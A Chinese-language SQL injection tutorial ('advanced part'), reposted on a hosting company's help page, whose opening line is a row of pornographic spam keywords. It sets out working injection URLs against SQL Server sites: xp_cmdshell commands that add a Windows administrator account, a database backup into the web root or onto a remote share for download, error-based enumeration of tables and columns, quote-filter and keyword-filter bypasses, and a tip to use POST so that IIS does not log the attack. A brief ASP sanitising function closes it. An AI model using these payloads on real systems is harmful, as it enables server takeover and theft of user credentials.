久久狠狠色噜噜狠狠狠狠97|国产成人久久精品麻豆二区|精品精拍国产日韩26u|色偷偷亚洲第一综合网

始創(chuàng)于2000年 股票代碼:831685
咨詢熱線:0371-60135900 注冊(cè)有禮 登錄
  • 掛牌上市企業(yè)
  • 60秒人工響應(yīng)
  • 99.99%連通率
  • 7*24h人工
  • 故障100倍補(bǔ)償
全部產(chǎn)品
您的位置: 網(wǎng)站首頁(yè) > 幫助中心>文章內(nèi)容

SQL注入攻擊三部曲之高級(jí)篇

發(fā)布時(shí)間:  2012/6/16 18:07:05
 經(jīng)過(guò)了入門(mén)篇進(jìn)階篇的學(xué)習(xí),相信諸位想要破解一般的網(wǎng)站是沒(méi)有什么問(wèn)題了,但是先別得意。正所謂學(xué)海無(wú)涯,技術(shù)的進(jìn)步也是沒(méi)有止境的。SQL注入是一個(gè)看起來(lái)簡(jiǎn)單,但是變數(shù)很多的過(guò)程。接下來(lái)的高級(jí)篇讓我們更加深入地探討SQL注入問(wèn)題。

第一節(jié)、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù)

SQL Server是一個(gè)功能強(qiáng)大的數(shù)據(jù)庫(kù)系統(tǒng),與操作系統(tǒng)也有緊密的聯(lián)系,這給開(kāi)發(fā)者帶來(lái)了很大的方便,但另一方面,也為注入者提供了一個(gè)跳板,我們先來(lái)看看幾個(gè)具體的例子:

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

分號(hào);在SQLServer中表示隔開(kāi)前后兩句語(yǔ)句,--表示后面的語(yǔ)句為注釋,所以,這句語(yǔ)句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲(chǔ)過(guò)程xp_cmdshell,這個(gè)存儲(chǔ)過(guò)程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號(hào),接著:

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

將新建的帳號(hào)name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫(kù)的情況,否則,是沒(méi)有權(quán)限調(diào)用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;and db_name()>0

前面有個(gè)類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫(kù)名。

④ http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫(kù)名 to disk=’c:\inetpub\wwwroot\1.db’;--

這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫(kù)名,加上某些IIS出錯(cuò)暴露出的絕對(duì)路徑,將數(shù)據(jù)庫(kù)備份到Web目錄下面,再用HTTP把整個(gè)數(shù)據(jù)庫(kù)就完完整整的下載回來(lái),所有的管理員及用戶密碼都一覽無(wú)遺!在不知道絕對(duì)路徑的時(shí)候,還可以備份到網(wǎng)絡(luò)地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面說(shuō)過(guò),sysobjects是SQLServer的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語(yǔ)句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來(lái)。第二、第三個(gè)表名怎么獲。窟是留給我們聰明的讀者思考吧。

⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

從⑤拿到表名后,用object_id(‘表名’)獲取表名對(duì)應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。

以上6點(diǎn)是我研究SQLServer注入半年多以來(lái)的心血結(jié)晶,可以看出,對(duì)SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開(kāi)發(fā)方面的水平也得到很大的提高,呵呵,也許安全與開(kāi)發(fā)本來(lái)就是相輔相成的吧。

第二節(jié)、繞過(guò)程序限制繼續(xù)注入

在入門(mén)篇提到,有很多人喜歡用’號(hào)測(cè)試注入漏洞,所以也有很多人用過(guò)濾’號(hào)的方法來(lái)“防止”注入漏洞,這也許能擋住一些入門(mén)者的攻擊,但對(duì)SQL注入比較熟悉的人,還是可以利用相關(guān)的函數(shù),達(dá)到繞過(guò)程序限制的目的。

在“SQL注入的一般步驟”一節(jié)中,我所用的語(yǔ)句,都是經(jīng)過(guò)我優(yōu)化,讓其不包含有單引號(hào)的;在“利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù)”中,有些語(yǔ)句包含有’號(hào),我們舉個(gè)例子來(lái)看看怎么改造這些語(yǔ)句:

簡(jiǎn)單的如where xtype=’U’,字符U對(duì)應(yīng)的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。

第三節(jié)、經(jīng)驗(yàn)小結(jié)

1.有些人會(huì)過(guò)濾Select、Update、Delete這些關(guān)鍵字,但偏偏忘記區(qū)分大小寫(xiě),所以大家可以用selecT這樣嘗試一下。

2.在猜不到字段名時(shí),不妨看看網(wǎng)站上的登錄表單,一般為了方便起見(jiàn),字段名都與表單的輸入框取相同的名字。

3.特別注意:地址欄的+號(hào)傳入程序后解釋為空格,%2B解釋為+號(hào),%25解釋為%號(hào),具體可以參考URLEncode的相關(guān)介紹。

4.用Get方法注入時(shí),IIS會(huì)記錄你所有的提交字符串,對(duì)Post方法做則不記錄,所以能用Post的網(wǎng)址盡量不用Get。

5. 猜解Access時(shí)只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區(qū)別即可,但是如果能用SQLServer的報(bào)錯(cuò)信息把值暴露出來(lái),那效率和準(zhǔn)確率會(huì)有極大的提高。

防范方法

SQL注入漏洞可謂是“千里之堤,潰于蟻穴”,這種漏洞在網(wǎng)上極為普遍,通常是由于程序員對(duì)注入不了解,或者程序過(guò)濾不嚴(yán)格,或者某個(gè)參數(shù)忘記檢查導(dǎo)致。在這里,我給大家一個(gè)函數(shù),代替ASP中的Request函數(shù),可以對(duì)一切的SQL注入Say NO,函數(shù)如下: 
 

  1. Function SafeRequest(ParaName,ParaType)   
  2.  '--- 傳入?yún)?shù) ---   
  3.  'ParaName:參數(shù)名稱-字符型   
  4.  'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)   
  5.  
  6.  Dim ParaValue   
  7.  ParaValue=Request(ParaName)   
  8.  If ParaType=1 then   
  9. If not isNumeric(ParaValue) then   
  10.  Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"   
  11.  Response.end   
  12. End if   
  13.  Else   
  14. ParaValue=replace(ParaValue,"'","''")   
  15.  End if   
  16.  SafeRequest=ParaValue   
  17. End function  

本文出自:億恩科技【www.yaz797.com】

服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)!虛擬主機(jī)域名注冊(cè)頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營(yíng)性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營(yíng)性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營(yíng)性ICP/ISP證:贛B2-20080012
  • 服務(wù)器/云主機(jī) 24小時(shí)售后服務(wù)電話:0371-60135900
  • 虛擬主機(jī)/智能建站 24小時(shí)售后服務(wù)電話:0371-60135900
  • 專注服務(wù)器托管17年
    掃掃關(guān)注-微信公眾號(hào)
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號(hào)總部企業(yè)基地億恩大廈  法律顧問(wèn):河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號(hào)
      0
     
     
     
     

    0371-60135900
    7*24小時(shí)客服服務(wù)熱線